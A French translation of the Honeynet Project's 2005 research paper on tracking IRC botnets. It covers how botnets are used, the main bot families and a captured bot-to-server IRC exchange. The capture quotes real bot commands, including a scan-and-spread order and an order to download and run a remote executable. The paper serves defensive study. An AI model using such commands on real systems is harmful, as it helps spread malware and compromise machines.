Connaître son ennemi:
A la poursuite des « Botnets »
Utilisation des “honeynets”(réseaux "leurres") pour apprendre à connaître les “Bots” (ordinateurs contrôlés à distance, ou « zombies »)
The Honeynet Project & Research Alliance
http://www.honeynet.org
Dernière mise à jour : 13 Mars 2005
http://www.honeynet.org/papers/kye.html
Un « Honeypot » (pot de miel ou ordinateur "leurre") est une technique bien connue utilisée pour découvrir les outils, les tactiques et les motivations des attaquants. Dans ce rapport nous observons une menace bien particulière : les individus et les organisations qui utilisent des « botnets » (réseaux de zombies). Un botnet est un réseau d’ordinateurs infectés, qui peuvent être contrôlés à distance par un attaquant. Etant donnée leur taille immense (des dizaines de milliers de systèmes peuvent être reliés entre eux), ils représentent une sérieuse menace pour la communauté. A l’aide de « honeynets » nous pouvons observer les gens qui gèrent des “botnets” – une tâche difficile si l’on utilise d’autres techniques. De par la richesse des données recueillies, il est possible de reconstruire les actions des attaquants, les outils qu’ils utilisent, et de les étudier en détail. Dans ce rapport nous étudions en détail les “botnets”, les techniques d’attaques classiques, et les individus concernés.
Nous débutons par une introduction sur les “botnets” et comment ils fonctionnent, avec des exemples d’utilisation. Ensuite nous analysons brièvement les trois types de « bots » (zombies) couramment utilisés. Enfin nous commentons une technique d’observation des botnets, qui nous permet de gérer un botnet et d’observer toutes les instructions envoyées par les attaquants. Nous présentons des comportements couramment observés, ainsi que des statistiques concernant les nombreuses informations recueillies grâce à la surveillance de plus de 100 botnets au cours des derniers mois. Nous concluons par une présentation rapide des leçons apprises et mettons en avant d’autres sujets de recherche ayant trait à l’observation des botnets, y compris un outil nommé mwcollect2 qui se spécialise dans le recueil de logiciels nocifs de façon automatisée.
Introduction
De nos jours, les PC familiaux sont une des cibles favorites des attaquants. La plupart des ces systèmes utilisent Microsoft Windows et souvent ne sont pas correctement mis à jour ou sécurisés derrière un pare-feu, ce qui les laisse vulnérables aux attaques. En plus de ces attaques directes, le nombre d’attaques indirectes contre les programmes utilisés par les victimes ne cesse de croître. Exemples de ces attaques indirectes, des fichiers HTML malicieux qui exploitent les vulnérabilités de Microsoft Internet Explorer, ou bien des attaques par l’intermédiaire des logiciels de réseaux Peer-to-Peer. Les machines qui restent toujours allumées et disposent de connexions haut débit sont une cible de choix pour les attaquants. Avec l’accroissement du nombre de connexions haut débit, le nombre potentiel de victimes d’attaques fait de même. Les Crackers profitent de cette situation et l’utilisent dans leur intérêt. Grâce à des techniques automatisées, ils scannent des plages réseau spécifiques sur Internet à la recherche de systèmes vulnérables dont les failles sont connues. Les attaquants ciblent souvent les réseaux de classe B (/16 en notation CIDR) ou de plus petites plages réseau. Une fois que ces attaquants ont compromis une machine, ils y installent un « IRC bot » - appelé aussi zombie ou drone. L’Internet Relay Chat (IRC) est une forme de communication en temps réel à travers Internet. Il est principalement conçu pour une communication de groupe (d’un individu vers plusieurs) dans des forums de discussion appelés « channels » (canaux), mais permet aussi une communication d’individu à individu. Plus d’information sur les IRC sur Wikipedia.
Nous avons identifié plusieurs versions différentes de zombies basés sur IRC (Désormais nous utiliserons le terme de bot) avec différents degrés de sophistication et d’instructions disponibles, mais tous ont un point commun. Le bot rejoint un canal IRC spécifique sur un serveur IRC et attend de plus amples instructions. Ceci permet à un attaquant de contrôler à distance le bot et de l’utiliser pour le plaisir mais aussi pour faire du profit. Les attaquants vont même plus loin et relient les bots entre eux. Une telle structure, constituée de plusieurs machines compromises qui peuvent être commandées depuis un canal IRC, s’appelle un botnet (réseau de zombies). L’IRC n’est pas la meilleure solution, du fait que la communication entre les bots et leurs contrôleurs est plutôt surchargée. Un protocole de communication plus simple suffirait. Mais l’IRC offre de nombreux avantages : les serveurs IRC sont disponibles gratuitement et sont faciles à configurer, et de nombreux attaquants ont des années d’expérience des communications IRC.
Du fait de leur taille immense (les botnets comptent parfois plusieurs dizaines de milliers de machines détournées) les botnets sont une menace sérieuse. Les attaques DDoS (refus de service distribué) sont une de ces menaces. Même un botnet relativement petit, comptant seulement 1000 bots, peut causer de grands dommages. Ces 1000 bots ont une bande passante combinée (1000 PC de particuliers avec un débit montant moyen de 128KBit/s cela fait plus de 100MBit/s) qui est probablement plus élevée que la connexion internet de la plupart des grandes entreprises. De plus, la répartition des adresses IP des zombies rend la mise en place, la maintenance et le déploiement de filtres très difficile. Enfin, la réponse aux incidents est freinée par le grand nombre d’organisations individuelles concernées. Une autre utilisation des botnets est le vol d’informations sensibles ou l’usurpation d’identité : Rechercher « motdepasse.txt » sur plusieurs milliers de PC familiaux, ou espionner leur trafic réseau, voila qui peut être très rentable.
Les mécanismes de dissémination utilisés par les bots sont une des causes majeures du “bruit de fond” sur l’Internet, en particulier sur les ports TCP 445 et 135. Dans ce contexte, le terme “dissémination” décrit les méthodes de propagation utilisées par les bots. Ces « maliciels » (logiciels malicieux) scannent de grandes plages réseau à la recherche de nouveaux ordinateurs vulnérables et les infectent, agissant ainsi comme un vers ou un virus. Une analyse du trafic capturé par le German Honeynet Project montre que la plupart du trafic cible les ports utilisés pour le partage de ressources sur des machines utilisant toutes les versions du système d’exploitation Microsoft Windows :
· Le Port 445/TCP (Microsoft-DS Service) est utilisé pour le partage de ressources sur des machines utilisant Windows 2000, XP, ou 2003, ainsi que d’autres connexions basées sur CIFS. Ce port est par exemple utilisé pour se connecter à des partages de fichiers.
· Le Port 139/TCP (NetBIOS Session Service) est utilisé pour le partage de ressources sur des machines utilisant Windows 9x, ME et NT. A nouveau, ce port est utilisé pour se connecter à des partages de fichiers.
· Le Port 137/UDP (NetBIOS Name Service) est utilisé par les ordinateurs sous Windows pour trouver des informations concernant les caractéristiques réseau présentes sur un autre ordinateur. Les informations pouvant être récupérées de cette façon inclues le nom système, le nom des partages de fichiers, et plus.
· Enfin, le port 135/TCP est utilisé par Microsoft pour mettre en œuvre les services RPC (Remote Procedure Call). Un service RPC est un protocole qui permet à un programme tournant sur un hôte d’exécuter du code sur un autre hôte sans que le programmeur ai besoin de programmer pour cela.
Le trafic sur ces 4 ports est à l’origine de plus de 80 pour cent de tout le trafic capturé. Des recherches approfondies avec des outils tels Nmap, Xprobe2 et p0f révèlent que les machines tournant sous Windows XP et 2000 sont les plus affectées. Il est clair que la majeure partie de l’activité recensée sur les ports ci-dessus est due aux systèmes utilisant Windows XP (souvent avec le Service Pack 1), suivi par Windows 2000. Loin derrière suivent Windows 2003 ou Windows 95/98.
Mais quelles sont les origines réelles de ces paquets malicieux ? Qui et quoi en est à la source ? Et pouvons nous faire quelque chose pour nous en protéger ? Dans ce rapport nous voulons montrer l’arrière plan de ce trafic et en expliquer les causes. Nous montrons comment les attaquants utilisent des bots IRC pour contrôler et construire des réseaux de machines (botnet) dans le but de mieux perpétrer leurs activités. Nous utilisons de classiques GenII-Honeynets avec quelques modifications mineures pour récupérer des informations clés, par exemple l’adresse IP d’un serveur botnet ou le mot de passe et le nom de canal d’un IRC. Ce genre d’information nous permet de nous connecter au botnet et d’observer les commandes envoyées par l’attaquant. Parfois nous sommes même en mesure de surveiller leurs communications et ainsi d’en apprendre plus sur leurs motivations et leurs agissements dans la société. Par ailleurs, nous donnons quelques statistiques concernant la quantité d’informations que nous avons rassemblé grâce à l’observation de plus d’une centaine de botnets au cours des derniers mois. Plusieurs exemples de captures d’activités des attaquants illustrent notre présentation.
Pour cette expérience, un “Honeynet” de seulement trois machines a été utilisé. Un hôte appartenant au réseau du FAI allemand T-Online, un autre appartenant au réseau du FAI allemand NetCologne et une machine appartenant à l’université RWTH Aachen University. Celle-ci tourne avec une version non mise à jour de Windows 2000 et est située derrière un « Honeywall » (pare-feu "leurre", destiné à attirer et laisser entrer les pirates). Les deux autres machines font tourner un nouveau logiciel appelé mwcollect2, servant à capturer des « maliciels ». Nous observons l’activité d’un botnet (réseau de PC zombies) à l’aide de notre propre client IRC, baptisé « drone ». Ces deux programmes sont explicités en détail plus loin dans ce rapport.
La plupart des Bots utilisent un nombre restreint de failles (“exploits”) pour se répandre. Etant donné que les Bots sont sans arrêt en train d’essayer de contaminer d’autres machines, ils génèrent un trafic important au sein d’un réseau. Normalement ils essaient d’exploiter des vulnérabilités bien connues. En plus des ports utilisés pour le partage de ressources (voir plus haut), les bots utilisent souvent des ports propres à certaines vulnérabilités. Exemples de ports :
· 42 - WINS (Host Name Server)
· 80 - www (vulnérabilités dans Internet Information Server (IIS) 4 / 5 ou Apache)
· 903 - NetDevil Backdoor
· 1025 – Service Microsoft Remote Procedure Call (RPC) et Windows Messenger port
· 1433 - ms-sql-s (Microsoft-SQL-Server)
· 2745 - backdoor de Bagle worm (mass-mailing worm)
· 3127 - backdoor de MyDoom worm (mass-mailing worm)
· 3306 - vulnérabilité MySQL UDF
· 3410 - vulnérabilité dans Optix Pro cheval de troie d’accès distant (Optix Backdoor)
· 5000 - upnp (Universal Plug and Play: MS01-059 - Unchecked Buffer in Universal Plug and Play can Lead to System Compromise)
· 6129 - dameware (Dameware Remote Admin - DameWare Mini Remote Control Client Agent Service Pre-Authentication Buffer Overflow Vulnerability)
Les vulnérabilités cachées derrière certaines de ces failles peuvent être trouvées à l'aide d'une recherche sur les bulletins de sécurité de Microsoft (exemples) :
· MS03-007 Unchecked Buffer In Windows Component Could Cause Server Compromise
· MS03-026 Buffer Overrun In RPC Interface Could Allow Code Execution
· MS04-011 Security Update for Microsoft Windows
· MS04-045 Vulnerability in WINS Could Allow Remote Code Execution
Utilisations des botnets
"Un botnet est comparable à un service militaire obligatoire pour PC sous Windows" - Stromberg
Un botnet n’est rien de plus qu’un outil, et il y a autant d’utilisations possibles qu’il y a d’utilisateurs. Les utilisations les plus communes sont criminelles (pour l’argent) ou destructrices. Sur la base des données capturées, les possibilités d’utilisation des botnets peuvent être classées selon les catégories listées ci-dessous. Et puisqu’un botnet est avant tout un outil, il existe très probablement d’autres cas de figure que nous n’avons pas recensés.
1. Attaques "Distributed Denial-of-Service" (DdoS).
Souvent les botnets sont utilisés pour des dénis de service distribués (DDoS). Une attaque DDoS est une attaque contre un système informatique ou un réseau qui a pour conséquence l’interruption de service pour les utilisateurs, en général la perte de la connexion et des services réseaux par l’utilisation intensive de la bande passante du réseau victime ou par la surcharge des ressources informatiques du système victime. De plus, les ressources avoisinantes sont épuisées si l’attaque DDoS est à l’origine de nombreux paquets par seconde (pps). Chaque bot étudié jusqu’à maintenant comporte plusieurs possibilités différentes d’attaques DDoS contre d’autres hôtes. Les plus courantes et aussi les plus utilisées sont les attaques TCP SYN et UDP flood (inondation). Les “Script kiddies” considèrent apparemment les DDoS comme une solution convenant à tous les problèmes de société.
Des recherches plus amples ont montré que les botnets sont même utilisés pour conduire des attaques DDoS commerciales contre des concurrents : Operation Cyberslam raconte l’histoire de Jay R. Echouafni et Joshua Schichtel alias EMP. Echouafni a été condamné le 25 Août 2004 suite à plusieurs accusations de conspiration et pour le fait d’avoir causé des dommages à des ordinateurs protégés. Il travaillait de façon étroite avec EMP qui dirigeait un botnet pour envoyer des Emails de façon massive et a aussi lancé des attaques DDoS contre les serveurs des listes noires du spam. Parallèlement à cela, ils ont fait tombé Speedera – une plateforme mondiale d’informatique à la demande – lorsqu’ils lancèrent une attaque DDoS rémunérée, pour mettre hors service le site Internet d’un concurrent.
Remarquez que les attaques DDoS ne sont pas limitées aux serveurs Web, pratiquement n’importe quell service disponible sur Internet peut être la cible de telles attaques. Des protocoles de plus haut niveau peuvent être utilisés pour augmenter la puissance de l’attaque, en utilisant des attaques très spécifiques, comme par exemple en lançant des recherches détaillées sur des BBS (bulletin boards servers) ou des HTTP-floods récursifs sur les sites Web des victimes. Un HTTP-flood récursif signifie que les bots, à partir d’un lien HTTP donné suivent tous les liens du site de façon récursive. On appelle cela le “spidering”
Le Spamming
Certains bots offrent la possibilité d’ouvrir un proxy SOCKS v4/v5 (un protocole proxy générique pour les applications réseau basées sur TCP/IP, RFC 1928) sur une machine contaminée. Après avoir activé le proxy SOCKS, cette machine peut ensuite être utilisée pour des actions néfastes, comme par exemple le spamming. A l’aide d’un botnet et de milliers de bots, un attaquant est en mesure d’envoyer en masse des pourriels (spam). Certains bots mettent en oeuvre une fonction spéciale pour récolter des adresses email. Souvent le spam que vous recevez a été envoyé ou relayé depuis le vieil ordinateur Windows de grand-mère, situé à la maison. En plus, des Emails de phishing peuvent être envoyés de la même façon, puisque le phishing est aussi une catégorie de spam.
2. L’analyse du Trafic
Les Bots peuvent aussi utiliser un analyseur de paquets pour rechercher des données non cryptées transitant par une machine infectée. Les analyseurs sont le plus souvent utilisés pour récupérer des informations sensibles tels les noms d’utilisateurs et les mots de passe. Mais les données analysées peuvent aussi contenir d’autres données intéressantes. Si une machine est infectée plusieurs fois, et membre de plusieurs botnets, l’analyse de paquets permet de récupérer des informations clés sur les autres botnets. Ainsi il est possible de voler un botnet.
3. La capture de frappes (Keylogging)
Si la machine infectée utilise des canaux de communication cryptés (par exemple HTTPS ou POP3S), alors la simple analyse des paquets réseau sur l’ordinateur de la victime est inutile, étant donné que la clé nécessaire pour décrypter les paquets n’est pas disponible. Mais la plupart des bots possèdent des fonctionnalités utiles dans ce cas de figure. Grâce à un keylogger il est très facile pour un attaquant de récupérer des informations sensibles. Un mécanisme de filtrage intégré (par exemple "Je suis intéressé par les frappes de touches apparaissant près du mot clef 'paypal.com'") est très utile pour dérober des données secrètes. Considérant que ce keylogger tourne simultanément sur des milliers de machines infectées, vous imaginez la vitesse à laquelle les comptes PayPal sont récupérés.
4. Dissémination de nouveaux “Maliciels”
Dans la plupart des cas, les botnets sont utilisés pour récupérer de nouveaux zombies. Ce qui est très facile puisque tous les zombies possèdent des mécanismes pour télécharger et exécuter des fichiers par HTTP ou FTP. Mais répandre un virus joint à un email en utilisant un botnet est aussi une « excellente » idée. Un botnet de 10.000 hôtes utilisé comme base de départ pour un virus envoyé par Email permet une très rapide propagation, et cause ainsi plus de dégâts. Le vers “Witty”, qui a attaqué la fonctionnalité d’analyse du protocole ICQ dans les produits Internet Security Systems (ISS) est supposé émaner d’un botnet, étant donné le fait que les hôtes attaquants n’utilisaient aucun service ISS.
5. Installation de fonctionnalités publicitaires et de Browser Helper Objects (BHOs)
Il est possible d’utiliser les Botnets pour gagner de l’argent. Pour cela, il faut créer un faux site Internet contenant des publicités: L’opérateur du site passe un accord avec une compagnie de régie publicitaire, qui rémunère les clicks sur les publicités. A l’aide d’un botnet, ces clicks peuvent être automatisés ce qui fait que en un instant des milliers de zombies cliquent sur la publicité. On peut améliorer le procédé en détournant la page de démarrage d’une machine infectée, de façon à ce que les « clicks » aient lieu à chaque fois que la victime utilise son navigateur.
6. Tromper les “Google AdSense”
Le même genre de détournement est possible avec le programme AdSense de google : celui-ci offre à des sociétés la possibilité d’afficher des publicités Google sur leur propre site, et de gagner de l’argent par cet intermédiaire. La société gagne de l’argent grâce aux clicks sur ces publicités, par exemple pour 10.000 clicks en un mois. Un attaquant peut tromper ce programme en commandant à son botnet de cliquer de façon automatique sur ces publicités, et ainsi faire monter de façon artificielle le compteur de clicks. Une telle utilisation d’un botnet est assez rare, mais cela pourrait intéresser un attaquant.
7. Attaque des réseaux de discussion IRC
Les Botnets sont aussi utilisés pour des attaques contre des réseaux de discussion IRC. L’attaque dite "clone attack" est particulièrement populaire : Dans ce genre d’attaque, le contrôleur ordonne à chaque zombies de connecter un grand nombre de ses alter ego au réseau IRC de la victime. La victime est inondée de demandes de service de la part de milliers de bots ou de milliers de connexions par ces bots. De cette manière, le réseau IRC de la victime « tombe » , de la même façon que lors d’une attaque DDoS.
8. Manipulation de jeux ou de sondages en ligne
Les sondages et les jeux en ligne se développent de plus en plus et il est assez facile de les manipuler avec des botnets. Puisque chaque bot a une adresse IP différente, chaque vote aura le même poids que le vote d’une vraie personne. Les jeux en ligne peuvent être manipulés de la même façon. Actuellement nous avons connaissance de bots utilisés de cette façon, et il est probable que cela ne fera que s’accroître dans le futur.
9. Vol en masse d’identités
Souvent la combinaison des différentes fonctionnalités décrites ci-dessus peut être utilisée en vue d’un vol d’identité à grande échelle, un des crimes qui se répand le plus vite sur Internet. De faux Emails (de type "phishing") qui se font passer pour de vrais messages (par exemple de faux messages Paypal ou émanant de banques) demandent à des victimes potentielles de se connecter et d’envoyer leurs codes confidentiels. Ces faux emails sont générés et envoyés depuis les bots par l’intermédiaire de leurs fonctionnalités de spamming. Les mêmes bots peuvent aussi héberger de nombreux faux sites prétendant être Ebay, PayPal, ou une banque, et récolter des informations personnelles. Ces sites émergent aussi vite qu’ils sont fermés. De plus, le keylogging et l’analyse de trafic peuvent aussi être utilises pour le vol d’identité.
Cette liste démontre que les attaquants peuvent causer de grands dommages et avoir une activité criminelle grâce aux botnets. Une grande partie de ces attaques (en particulier les attaques DDoS) représentent une menace sévère pour les autres systèmes et sont difficiles à contrer. En plus, nous sommes certains qu’il y a d’autres utilisations que nous devons encore découvrir. De ce fait, nous devons chercher à en apprendre plus sur ces menaces, à savoir comment les attaquants se comportent en général et développer des techniques pour nous battre contre eux. Les ”Honeynets” peuvent nous aider sur ces trois points :
1. A l’aide de honeynets nous sommes en mesure de récolter des informations clés (par exemple l’adresse IP du serveur ou le nom d’un zombie) qui nous permettent d’examiner les botnets. Nous pouvons rassembler des fichiers depuis les zombies et en extraire des informations sensibles d’une façon semi-automatisée à l’aide d’un classique Honeywall.
2. Nous avons la possibilité d’observer des commandes typiques émises par les attaquants et parfois nous réussissons même à intercepter leurs communications. Ceci nous aide à en apprendre plus sur les motivations des attaquants et sur leurs tactiques.
3. La récolte automatisée d’informations sur les botnets et un mécanisme de pistage efficace des botnets permettent aussi de lutter contre eux.
Après avoir détaillé et analysé ci-dessous les types de zombies les plus fréquents, nous allons présenter une technique de traçage des botnets.
Différents types de Bots
Au cours de notre recherche, nous avons trouvé plusieurs types différents de bots dans la nature. Dans cette section nous présentons les plus répandus et les plus connus. Nous présentons les concepts de base de chaque maliciel, et irons plus loin dans la description de quelques fonctionnalités. De plus, nous montrons quelques exemples de code source des zombies, et donnons quelques unes de leurs commandes.
· Agobot/Phatbot/Forbot/XtremBot
C’est probablement le bot le plus connu. Actuellement, le vendeur d’anti-virus Sophos recense plus de 500 variantes différentes de Agobot (Sophos virus analyses) et ce nombre croît régulièrement. Le bot lui-même est écrit en C++ avec des capacités inter-plateformes et le code source est sous licence GPL. Agobot a été écrit par Ago, alias Wonk, un jeune Allemand arrêté en mai 2004 pour délit informatique. Les dernières versions disponibles de Agobot sont écrites en un C++ organisé et font preuve d’une conception de haut niveau. Le zombie est structuré de façon très modulaire, et il est très facile d’ajouter des commandes ou des scanners concernant d’autres vulnérabilités: Il suffit simplement d’étendre le CCommandHandler ou CScanner class et d’ajouter votre fonctionnalité. Agobot utilise libpcap (une librairie d’analyse de paquets) et Perl Compatible Regular Expressions (PCRE) pour analyser et organiser le trafic. Agobot peut utiliser NTFS Alternate Data Stream (ADS) et il offre des capacités Rootkit comme le fait de cacher des fichiers et des processus pour dissimuler sa présence sur un hôte infecté. De plus, faire de l’ingénierie à rebours sur ce maliciel est difficile car il inclut des fonctions pour détecter les debuggers (par exemple SoftICE et OllyDbg) et les machines virtuelles (par exemple VMWare et Virtual PC). De plus, Agobot est le seul bot qui utilise un protocole de contrôle autre que IRC. Un composant utilisant le réseau distribué et organisé WASTE chat network est disponible. Par ailleurs, la version Linux est capable de déterminer la distribution Linux utilisée sur l’hôte compromis et crée un script de mise en route correct.
En résumé : "C’est un code de rêve, un peu comme prendre rendez-vous avec le diable."
· SDBot/RBot/UrBot/UrXBot/...
Cette famille de maliciel est actuellement la plus active: Sophos en compte 7 variantes dans sa liste des « dix dernières alertes virales ». SDBot est écrit en un très médiocre langage C et est aussi publié sous licence GPL. C’est le père des RBot, RxBot, UrBot, UrXBot, JrBot, .. et probablement bien plus. Le code source de ce zombie n’est pas très bien conçu ni écrit. Néanmoins, les attaquants l’aiment, et il est souvent utilisé à tout crin. Il offre les mêmes fonctions que Agobot, bien que le jeu d’instructions ne soit pas très important, ni la structure aussi sophistiquées.
· mIRC-based Bots - GT-Bots
Nous classifions tous les bots s’appuyant sur mIRC dans la catégorie des GT bots, étant donné qu’il y en a tellement de versions différentes qu’il est difficile d’en avoir une vue d’ensemble. mIRC lui-même est un client IRC répandu sous Windows. GT est l’abréviation de Global Threat (menace globale) et c’est le nom commun utilisé pour tous les bots reposant sur un script mIRC. Ces zombies lancent une instance du client chat mIRC avec un jeu de scripts ainsi que d’autres exécutables. Un exécutable toujours présent est le programme HideWindow utilisé pour rendre l’instance mIRC invisible à l’utilisateur. Les autres exécutables sont principalement des Dynamic Link Libraries (DLLs) rattachées à mIRC, qui ajoutent quelques nouvelles fonctionnalités utilisables par les scripts mIRC. Les scripts mIRC, souvent avec l’extension ".mrc", sont utilisés pour contrôler le bot. Ils peuvent avoir accès aux scanners dans les DLLs et se chargent de continuer la dissémination. Les GT Bots se répandent en exploitant des vulnérabilités sur des ordinateurs distants et se téléchargent eux-mêmes sur des hôtes compromis (taille du fichier > 1 Mo).
Parallèlement à ces trois types de bots, que nous rencontrons presque quotidiennement, il y a d’autres bots plus rares. Certains de ces bots offrent des fonctions “sympathiques” et valent la peine d’être mentionnés ici :
· DSNX Bots
Le zombie “Dataspy Network X” (DSNX) est écrit en C++ et a une interface à base de plugins très pratique. Un attaquant peut écrire facilement des scanners et les disséminer en tant que plugins et étendre les capacités du bot. A nouveau, le code est sous licence. Ce bot a un inconvénient majeur : la version de base n’offre pas de disséminateurs. Mais des plugins sont disponibles et permettent de contourner cette faille. Par ailleurs, sont disponibles des plugins offrant des services tels des attaques DDoS, des scanners de ports ou des serveur http cachés.
· Q8 Bots
Q8bot est un très petit bot, constitué de seulement 926 lignes de code C. Un point mérite une mention particulière : il est écrit pour les systèmes Unix/Linux. Il possède les fonctionnalités classiques d’un bot: mise à jour dynamique par téléchargement HTTP, diverses attaques DDoS (par exemple SYN-flood et UDP-flood), exécution au choix de différentes commandes, et bien plus. Dans la version capturée, les disséminateurs étaient manquants. Mais il existe probablement des versions de ce bot qui en contiennent.
· kaiten
Ce bot ne dispose pas non plus d’un disséminateur, et est aussi écrit pour les systèmes Unix/Linux. L’authentification faible des utilisateurs permet de détourner très facilement un botnet utilisant kaiten. Le bot lui-même consiste en un simple fichier. Ainsi il est très facile de récupérer le code source avec wget, et de le compiler sur une machine vulnérable avec un script. Kaiten offre une invite de commande à distance facile, ainsi le recherche de vulnérabilités permettant d’acquérir un accès privilégié peut être faite par IRC.
· Les bots à base de Perl
Il y a de très nombreuses versions de bots, basées sur le langage de programmation Perl. Ces bots sont très petits et ne contiennent la plus part du temps que quelques centaines de lignes de code. Ils ont un ensemble de commandes très rudimentaire (très souvent des attaques DDoS) est sont utilisés sur des systèmes à base d’Unix.
Ce que font les Bots et comment ils fonctionnent
Après avoir présenté différents types de bots, nous allons maintenant voir plus précisément ce que font ces bots en temps normal et comment ils travaillent. Cette section explique de façon détaillée comment les bots se répandent et comment ils sont contrôlés par leur maître.
Une fois qu’il a réussi à cerner une victime, un bot utilise les protocoles TFTP (Trivial File Transfer Protocol), FTP (File Transfer Protocol), HTTP (HyperText Transfer Protocol), ou CSend (une extension IRC utilisée pour envoyer des fichiers à d’autres utilisateurs, comparable à DCC) pour s’auto transférer à la machine compromise. Le programme est démarré, et il essai de se connecter au serveur IRC maître. Souvent un nom de domaine "dynamic DNS" est fourni (par exemple chez www.dyndns.org) plutôt qu’une adresse IP codée en dur, ainsi le bot peut facilement être relocalisé. Certains bots se désinstallent même tout seul si son poste est lui-même le serveur maître, ou s’il est situé dans un sous-réseau privé, car cela indique une situation anormale. En utilisant un pseudo spécialement créé, tel USA|743634 ou [UrX]-98439854 le bot essai de joindre le canal du maître, parfois en utilisant un mot de passe pour éloigner les étrangers de ce canal. Après une contamination réussie, voilà à quoi peut ressembler une communication typique :
<- :irc1.XXXXXX.XXX NOTICE AUTH :*** Looking up your hostname...
<- :irc1.XXXXXX.XXX NOTICE AUTH :*** Found your hostname
-> PASS secretserverpass
-> NICK [urX]-700159
-> USER mltfvt 0 0 :mltfvt
<- :irc1.XXXXXX.XXX NOTICE [urX]-700159 :*** If you are having problems connecting due to ping timeouts, please type /quote pong ED322722 or /raw pong ED322722 now.
<- PING :ED322722
-> PONG :ED322722
<- :irc1.XXXXXX.XXX 001 [urX]-700159 :Welcome to the irc1.XXXXXX.XXX IRC Network [urX]-700159!mltfvt@nicetry
<- :irc1.XXXXXX.XXX 002 [urX]-700159 :Your host is irc1.XXXXXX.XXX, running version Unreal3.2-beta19
<- :irc1.XXXXXX.XXX 003 [urX]-700159 :This server was created Sun Feb 8 18:58:31 2004
<- :irc1.XXXXXX.XXX 004 [urX]-700159 irc1.XXXXXX.XXX Unreal3.2-beta19 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeKVfMGCuzN
Ensuite, le serveur accepte le bot en tant que client et lui envoi des commandes RPL_ISUPPORT, RPL_MOTDSTART, RPL_MOTD, RPL_ENDOFMOTD ou ERR_NOMOTD. Les réponses démarrant avec RPL_ contiennent des informations pour le client, par exemple RPL_ISUPPORT lui dit quelles fonctionnalités le serveur comprend et RPL_MOTD indique le Message du jour (Message Of The Day MOTD). A l’inverse, ERR_NOMOTD est un message d’erreur si aucun MOTD n’est disponible. Dans la liste suivante, ces réponses apparaissent en couleurs :
<- :irc1.XXXXXX.XXX 005 [urX]-700159 MAP KNOCK SAFELIST HCN MAXCHANNELS=25 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=20 AWAYLEN=307 :are supported by this server
<- :irc1.XXXXXX.XXX 005 [urX]-700159 WALLCHOPS WATCH=128 SILENCE=5 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSM NETWORK=irc1.XXXXXX.XXX CASEMAPPING=ascii :are supported by this server
<- :irc1.XXXXXX.XXX 375 [urX]-700159 :- irc1.XXXXXX.XXX Message of the Day -
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- 20/12/2004 7:45
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . +
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - + .
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - ___ .
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . _.--"~~ __"-.
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - ,-" .-~ ~"-\ .
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . .^ / ( ) .
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - + {_.---._ / ~
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - / . Y .
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - / \_j +
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . Y ( --l__
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - | "-. .
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - | (___ . | .)~-.__/
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . .
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - l _)
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . \ "l
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - + \ - \ ^.
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . ^. "-. -Row .
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - "-._ ~-.___,
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . "--.._____.^
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . .
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - ->Moon<-
<- :irc1.XXXXXX.XXX 376 [urX]-700159 :End of /MOTD command.
<- :[urX]-700159 MODE [urX]-700159 :+i
Sur RPL_ENDOFMOTD ou ERR_NOMOTD, le bot va essayer de se connecter au canal du maître avec le mot de passe fourni :
-> JOIN #foobar channelpassword
-> MODE [urX]-700159 +x
Le bot reçoit le “thème du canal IRC” et l’interprète comme une commande :
<- :irc1.XXXXXX.XXX 332 [urX]-700159 #foobar :.advscan lsass 200 5 0 -r -s
<- :[urX]-700159!mltfvt@nicetry JOIN :#foobar
<- :irc1.XXXXXX.XXX MODE #foobar +smntuk channelpassword
La plupart des botnets utilisent une commande de sujet telle que :
1. ".advscan lsass 200 5 0 -r -s"
2. ".http.update http://<server>/~mugenxu/rBot.exe c:\msy32awds.exe 1"
Le premier topic (sujet) indique au bot de continuer à se répandre à l’aide de la vulnérabilité LSASS. 200 threads simultanés doivent scanner avec un délai de 5 seconds pendant une durée illimitée (paramètre 0). Les scans doivent être faits au hasard (paramètre –r) et sans comptes-rendus (paramètre -s) évitant ainsi trop de trafic dû au retour d’informations. A l’inverse, le deuxième exemple d’un topic (sujet) possible ordonne au bot de télécharger un exécutable depuis le web et l’exécute (paramètre 1). Et si le topic ne contient pas d’instructions pour le bot, alors celui-ci ne fait rien, si ce n’est attendre dans le canal des éventuelles commandes. C’est un des fondamentaux des bots actuels : Ils ne se disséminent pas si leur canal maître ne le leur ordonne pas.
Après une prise de contrôle réussie, le bot en informera son maître, s’il lui a été ordonné de le faire.
-> PRIVMSG #foobar :[lsass]: Exploiting IP: 200.124.175.XXX
-> PRIVMSG #foobar :[TFTP]: File transfer started to IP: 200.124.175.XXX (C:\WINDOWS\System32\NAV.exe).
Ensuite le serveur IRC (appelé aussi IRC daemon, en abrégé IRCd) fournira la liste des utilisateurs du canal. Mais la plupart des possesseurs de botnets ont modifié l’IRCd de façon à simplement signaler à l’opérateur du canal de sauvegarder le trafic et masquer le nombre de bots présents sur le canal.
<- :irc1.XXXXXX.XXX 353 [urX]-700159 @ #foobar :@JAH
<- :irc1.XXXXXX.XXX 366 [urX]-700159 #foobar :End of /NAMES list.
